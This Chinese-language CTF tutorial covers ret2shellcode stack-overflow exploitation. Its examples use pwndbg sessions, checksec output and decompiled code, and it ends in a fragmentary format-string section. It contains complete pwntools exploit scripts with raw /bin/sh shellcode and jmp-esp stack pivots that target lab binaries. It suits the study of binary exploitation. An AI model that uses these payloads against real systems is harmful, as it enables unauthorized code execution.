ret2shellcode

原理

ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。通常情况下,shellcode 需要我们自行编写,即此时我们需要自行向内存中填充一些可执行的代码

在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

需要注意的是,在新版内核当中引入了较为激进的保护策略,程序中通常不再默认有同时具有可写与可执行的段,这使得传统的 ret2shellcode 手法不再能直接完成利用

利用方式

第一种利用方式:

根据函数调用约定,在一个函数执行的最后,是一个leave;ret;

实质是

mov esp,ebp

pop ebp

pop eip

这时候我们在填充一个shellcode,然后控制返回地址为jmp esp即可利用

shellcode
jmp esp
old_ebp
局部变量
pwndbg> r  #不断点直接
Starting program: /CTF/ret2shellcode
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
No system for you this time !!!
^C
Program received signal SIGINT, Interrupt.
0xedc2b579 in __kernel_vsyscall ()
...
pwndbg> cyclic 300
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac
pwndbg> c
Continuing.
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac
bye bye ~
Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
Warning: Avoided exploring possible address 0xff315755.
You can explicitly explore it with `vmmap-explore 0xff315000`
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────
*EAX 0
*EBX 0xedc0ee34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x230d2c /* ',\r#' */
*ECX 0
*EDX 0
*EDI 0xedc60b60 (_rtld_global_ro) ◂— 0
*ESI 0x80485d0 (__libc_csu_init) —▸ 0xff315755 ◂— 0xff315755
*EBP 0x62616163 ('caab')
*ESP 0xffa183b0 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac'
*EIP 0x62616164 ('daab')
...
pwndbg> cyclic -l daab
Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162)
Found at offset 112
$ ROPgadget --binary ret2shellcode --only jmp
Gadgets information
============================================================
0x080483cb : jmp 0x80483b0
0x08048522 : jmp 0x80484a0
0x08048631 : jmp 0x8048640
0x0804855a : jmp dword ptr [ecx + 0x804a040]
0x0804871f : jmp dword ptr [ecx]

Unique gadgets found: 5(没找到)
from pwn import *
s = process("./ret2shellcode")
context.arch = 'i386'
jmp_esp = 0x08048691
payload = b'A'*112+p32(jmp_esp)+asm(shellcraft.i386.sh())
s.sendline(payload)
s.interactive()

2)第二种利用方式(bss段执行)

from pwn import *
s = process("./ret2shellcode")
context.arch='i386'
shellcode = shellcraft.sh()
payload = asm(shellcode)#payload='\x6a\x0b\x58\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'等价(https://www.exploit-db.com/shellcodes)
payload = payload.ljust(112,'A')+p32(0x0804A080)
s.sendline(payload)
s.interactive()

例1

这里我们以 bamboofox 中的 ret2shellcode 为例,需要注意的是,你应当在内核版本较老的环境中进行实验(如 Ubuntu 18.04 或更老版本)。由于容器环境间共享同一内核,因此这里我们无法通过 docker 完成环境搭建。

点击下载: ret2shellcode

首先检测程序开启的保护:

➜  checksec ret2shellcode
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

可以看出源程序几乎没有开启任何保护,并且有可读,可写,可执行段。接下来我们再使用 IDA 对程序进行反编译:

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(s);
strncpy(buf2, s, 0x64u);
printf("bye bye ~");
return 0;
}

可以看出,程序仍然是基本的栈溢出漏洞,不过这次还同时将对应的字符串复制到 buf2 处。简单查看可知 buf2 在 bss 段。

.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]

这时,我们简单的调试下程序,看看这一个 bss 段是否可执行。

pwndbg> b main
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
pwndbg> r
Starting program: /CTF/ret2shellcode
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main () at ret2shellcode.c:8
warning: 8 ret2shellcode.c: No such file or directory
Warning: Avoided exploring possible address 0xff315755.
You can explicitly explore it with `vmmap-explore 0xff315000`
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────
EAX 0x804852d (main) ◂— push ebp
EBX 0xee6c5e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x230d2c /* ',\r#' */
ECX 0x37629d76
EDX 0xff906340 —▸ 0xee6c5e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x230d2c /* ',\r#' */
EDI 0xee717b60 (_rtld_global_ro) ◂— 0
ESI 0x80485d0 (__libc_csu_init) —▸ 0xff315755 ◂— 0xff315755
EBP 0xff906318 ◂— 0
ESP 0xff906290 —▸ 0xee718b8c —▸ 0xee6dc6f0 —▸ 0xee718a20 ◂— 0
EIP 0x8048536 (main+9) ◂— mov eax, dword ptr [0x804a060]
...
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x8048000 0x8049000 r-xp 1000 0 ret2shellcode
0x8049000 0x804a000 r--p 1000 0 ret2shellcode
0x804a000 0x804b000 rw-p 1000 1000 ret2shellcode
0xee495000 0xee4b8000 r--p 23000 0 /usr/lib/i386-linux-gnu/libc.so.6
0xee4b8000 0xee63f000 r-xp 187000 23000 /usr/lib/i386-linux-gnu/libc.so.6
0xee63f000 0xee6c4000 r--p 85000 1aa000 /usr/lib/i386-linux-gnu/libc.so.6
0xee6c4000 0xee6c6000 r--p 2000 22f000 /usr/lib/i386-linux-gnu/libc.so.6
0xee6c6000 0xee6c7000 rw-p 1000 231000 /usr/lib/i386-linux-gnu/libc.so.6
0xee6c7000 0xee6d1000 rw-p a000 0 [anon_ee6c7]
0xee6dc000 0xee6de000 rw-p 2000 0 [anon_ee6dc]
0xee6de000 0xee6e2000 r--p 4000 0 [vvar]
0xee6e2000 0xee6e4000 r-xp 2000 0 [vdso]
0xee6e4000 0xee6e5000 r--p 1000 0 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xee6e5000 0xee708000 r-xp 23000 1000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xee708000 0xee716000 r--p e000 24000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xee716000 0xee718000 r--p 2000 31000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xee718000 0xee719000 rw-p 1000 33000 /usr/lib/i386-linux-gnu/ld-linux.so.2
0xff8e7000 0xff908000 rwxp 21000 0 [stack]

通过 vmmap,我们可以看到 bss 段对应的段不可执行权限(所以复现不了):

0x804a000  0x804b000 rw-p     1000    1000 ret2shellcode

那么这次我们就控制程序执行 shellcode,也就是读入 shellcode,然后控制程序执行 bss 段处的 shellcode。其中,相应的偏移计算类似于 ret2text 中的例子。

  • 缓冲区大小: 100 字节
  • EBP 偏移: 0x6C (108 字节)
  • 返回地址位置: EBP + 4
  • 总偏移量 = 0x6C + 4 = 112 字节

最后的 payload 如下:

from pwn import *
context.arch = 'i386'
sh = process('./ret2shell')
shellcode = asm(shellcraft.sh()) #生成执行/bin/s的汇编代码(字符串形式)
buf2_addr = 0x0804A080
sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))#将 shellcode 填充到 112 字节,不足部分用 b'A' 补足
sh.interactive()

例2

点击下载: b0verfl0w

Checksec 查看保护

$ checksec b0verfl0w
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

无任何保护开启,进入 IDA 中进行分析

int vul()
{
char s[32]; // [esp+18h] [ebp-20h] BYREF

puts("\n======================");
puts("\nWelcome to X-CTF 2016!");
puts("\n======================");
puts("What's your name?");
fflush(stdout);
fgets(s, 50, stdin);
printf("Hello %s.", s);
fflush(stdout);
return 1;
}

存在栈溢出,但溢出长度较短,只有0x32-0x20-4 = 14个字节,很难布置一些较好的 ROP链。由于程序本身并没有开启 NX 保护,所以我们可以在栈上布置 shellcode 并执行。利用栈溢出对 esp 进行操作,使其指向 shellcode 处,并且直接控制程序跳转至 esp 处。那下面就是找控制程序跳转到 esp 处的 gadgets 了。

$ ROPgadget --binary b0verfl0w --only jmp
Gadgets information
============================================================
0x080483ab : jmp 0x8048390
0x080484f2 : jmp 0x8048470
0x08048611 : jmp 0x8048620
0x0804855d : jmp dword ptr [ecx + 0x804a040]
0x08048550 : jmp dword ptr [ecx + 0x804a060]
0x0804876f : jmp dword ptr [ecx]
0x08048504 : jmp esp

Unique gadgets found: 7
或者
$ ROPgadget --binary b0verfl0w | grep "jmp esp"
0x08048502 : and al, 0xc3 ; jmp esp
0x08048501 : in al, dx ; and al, 0xc3 ; jmp esp
0x080484ff : in eax, 0x83 ; in al, dx ; and al, 0xc3 ; jmp esp
0x08048504 : jmp esp

因为长度不够,所以我们可以想办法利用上方用来填充的0x20个字节,在0x20个字节中写入一个 getshell 的 shellcode,在 jmp esp 后写入 sub esp,0x28;jmp
esp;即可将 esp 抬至上方的 buf 处继续执行 shellcode。
由于长度较短,不能够直接使用shellcraft.sh(),在 exploit-db中查找一个较短的shellcode使用即可https://www.exploit-db.com/shellcodes/47513

pwndbg> r
Starting program: /CTF/b0verfl0w
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

======================

Welcome to X-CTF 2016!

======================
What's your name?
^C
Program received signal SIGINT, Interrupt.
...
pwndbg> cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
pwndbg> c
Continuing.
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Hello aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam.
Program received signal SIGSEGV, Segmentation fault.
0x6161616a in ?? ()
Warning: Avoided exploring possible address 0xff315755.
You can explicitly explore it with `vmmap-explore 0xff315000`
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────
*EAX 1
*EBX 0xefb50e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x230d2c /* ',\r#' */
*ECX 0
*EDX 0xefb528a0 (_IO_stdfile_1_lock) ◂— 0
*EDI 0xefba2b60 (_rtld_global_ro) ◂— 0
*ESI 0x80485b0 (__libc_csu_init) —▸ 0xff315755 ◂— 0xff315755
*EBP 0x61616169 ('iaaa')
*ESP 0xff9b1a90 ◂— 'kaaalaaam'
*EIP 0x6161616a ('jaaa')
...
pwndbg> cyclic -l jaaa
Finding cyclic pattern of 4 bytes: b'jaaa' (hex: 0x6a616161)
Found at offset 36
高地址
+---------------------+ ← buf起始地址(假设为0xbffff700)
| shellcode (25B) |
+---------------------+
| 填充数据 (7B) |
+---------------------+
| 覆盖ebp (4B) | ← 这就“偏移量36”中的4字节
+---------------------+
| 覆盖返回地址 (4B) | ← jmp_esp地址
+---------------------+
|sub esp,0x28;jmp esp |
+---------------------+ ← 执行ret时的esp位置
低地址

esp 调整计算

esp调整量 = 执行jmp esp时的esp地址 - shellcode起始地址

假设:

  • shellcode 起始地址 = 0xbffff700
  • 执行 jmp esp 时的 esp 地址 = 0xbffff6d8

则调整量 = 0xbffff700 - 0xbffff6d8 = 0x28

from pwn import *
sh = process('./b0verfl0w')
shellcode_x86=b"\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80" #25字节
padding_len = 0x20 - len(shellcode_x86) #计算buf中剩余空间32 - 25 = 7字节
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode_x86 + b'b' * padding_len + b'bbbb' + p32(jmp_esp) +sub_esp_jmp#25字节shellcode+7字节填充+4字节覆盖ebp(关键!)+4字节覆盖返回地址+调整esp到shellcode
sh.sendline(payload)
sh.interactive()

例五

点击下载: sniperoj-pwn100-shellcode-x86-64

Checksec 查看保护

$ checksec sniperoj-pwn100-shellcode-x86-64
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
Stripped: No

64位,没有开启堆栈不可执行的保护,查看反汇编

int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF

buf[0] = 0LL;
buf[1] = 0LL;
setvbuf(_bss_start, 0LL, 1, 0LL);
puts("Welcome to Sniperoj!");
printf("Do your kown what is it : [%p] ?\n", buf);
puts("Now give me your answer : ");
read(0, buf, 0x40uLL);
return 0;
}

可以覆盖的空间大小为0x40,buf大小为0x10,没有发现system函数与“/bin/sh”字符串,因此我们可以采用直接写入shellcode的方法。

$ python3
Python 3.12.3 (main, Feb 4 2025, 14:48:35) [GCC 13.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> shell=asm(shellcraft.sh())
>>> len(shell)
44

平常所用的shellcode长度太长,需要更换短一点的shellcode。

下面是两个可以去搜寻shllcode的网址:

https://www.exploit-db.com/shellcodes
http://shell-storm.org/shellcode/

shellcode=”\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05”

接下来应该考虑的是要把shellcode放在那个位置,如果按劫持栈指针的方法,把因为空间不大,可以把shellcoe放在最开头,然后控制程序流跳转执行shellcode,但是本题不可以,原因如下:

.text:00000000000007D0 ; int __fastcall main(int argc, const char **argv, const char **envp)
.text:00000000000007D0 public main
.text:00000000000007D0 main proc near ; DATA XREF: _start+1D↑o
.text:00000000000007D0
.text:00000000000007D0 buf = qword ptr -10h
.text:00000000000007D0 var_8 = qword ptr -8
.text:00000000000007D0
.text:00000000000007D0 ; __unwind {
.text:00000000000007D0 push rbp
.text:00000000000007D1 mov rbp, rsp
.text:00000000000007D4 sub rsp, 10h
.text:00000000000007D8 mov [rbp+buf], 0
.text:00000000000007E0 mov [rbp+var_8], 0
.text:00000000000007E8 mov rax, cs:__bss_start
.text:00000000000007EF mov ecx, 0 ; n
.text:00000000000007F4 mov edx, 1 ; modes
.text:00000000000007F9 mov esi, 0 ; buf
.text:00000000000007FE mov rdi, rax ; stream
.text:0000000000000801 call _setvbuf
.text:0000000000000806 lea rdi, s ; "Welcome to Sniperoj!"
.text:000000000000080D call _puts
.text:0000000000000812 lea rax, [rbp+buf]
.text:0000000000000816 mov rsi, rax
.text:0000000000000819 lea rdi, format ; "Do your kown what is it : [%p] ?\n"
.text:0000000000000820 mov eax, 0
.text:0000000000000825 call _printf
.text:000000000000082A lea rdi, aNowGiveMeYourA ; "Now give me your answer : "
.text:0000000000000831 call _puts
.text:0000000000000836 lea rax, [rbp+buf]
.text:000000000000083A mov edx, 40h ; '@' ; nbytes
.text:000000000000083F mov rsi, rax ; buf
.text:0000000000000842 mov edi, 0 ; fd
.text:0000000000000847 call _read
.text:000000000000084C mov eax, 0
.text:0000000000000851 leave
.text:0000000000000852 retn

leave的作用相当于**MOV RSP,RBP;POP RBP。**

$ python3
Python 3.12.3 (main, Feb 4 2025, 14:48:35) [GCC 13.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> shellcode=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
>>> print(disasm(shellcode,arch='amd64'))
0: 48 31 f6 xor rsi, rsi
3: 56 push rsi
4: 48 bf 2f 62 69 6e 2f 2f 73 68 movabs rdi, 0x68732f2f6e69622f
e: 57 push rdi
f: 54 push rsp
10: 5f pop rdi
11: 6a 3b push 0x3b
13: 58 pop rax
14: 99 cdq
15: 0f 05 syscall

而shellcode中对sp进行了push操作,所以leave指令会对shellcode的执行造成影响。所以buf中不能存放shellcode,buf后的8个字节也不能存放(这里需要存放返回地址)。

所以,我们的shellcode只能放在buf首地址后的0x10+8后的地址。

编写exp

from pwn import *
p = process('./sniperoj-pwn100-shellcode-x86-64')
shellcode=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
p.recvuntil(b'[')
buf_addr = p.recvuntil(b']',drop=True)
p.recv()
#print type(buf_addr)
payload = b'A'*(0x10+8) + p64(int(buf_addr,16) + 32) + shellcode#buf占0x10(16)字节→覆盖 saved rbp占8字节→返回地址占8字节→所以shellcode起始地址=buf_addr+0x10(buf)+8(saved rbp)+8(返回地址)=buf_addr+32(0x10=16,16+8+8=32)
p.sendline(payload)
p.interactive()


程序栈帧结构:
高地址
+---------------------------+
| 其他函数栈帧/环境变量 |
+---------------------------+
| saved rbp (旧rbp值) | ← rbp 原始位置(占8字节,x64下)
+---------------------------+
| buf (用户输入缓冲区) | ← 大小 0x10(16字节)
+---------------------------+
| 栈底/低地址 |
→→
高地址
+---------------------------+
| A*0x10 (buf) |
+---------------------------+
| A*8 (saved rbp) |
+---------------------------+
| p64(目标地址) | ← 返回地址:程序执行完当前函数后,跳转到这里
+---------------------------+
| shellcode | ← 实际要执行的恶意代码
+---------------------------+
| 低地址 |

例六

点击下载: show_shellcode

Checksec 查看保护
偏移 6 指向的确实是mmap分配的可执行内存(addr

./shellcode_printer
Enter a format string: %6$n # 向偏移6的地址写入数据
Enter a format string: # 直接回车退出循环
  • 若程序正常退出(无崩溃),则 100% 确认偏移 6 就是addr
  • 原因:addr是 mmap 分配的可写可执行内存,写入数据后执行不会崩溃。
  1. 进一步验证(可选)
    向偏移 6 写入一个简单的ret指令(十六进制0xc3):

    bash

    ./shellcode_printer
    Enter a format string: %195c%6$n # 195 = 0xc3(十进制),%6$n写入addr
    Enter a format string: # 回车退出

    程序若正常退出,说明成功向addr写入了ret指令,验证通过。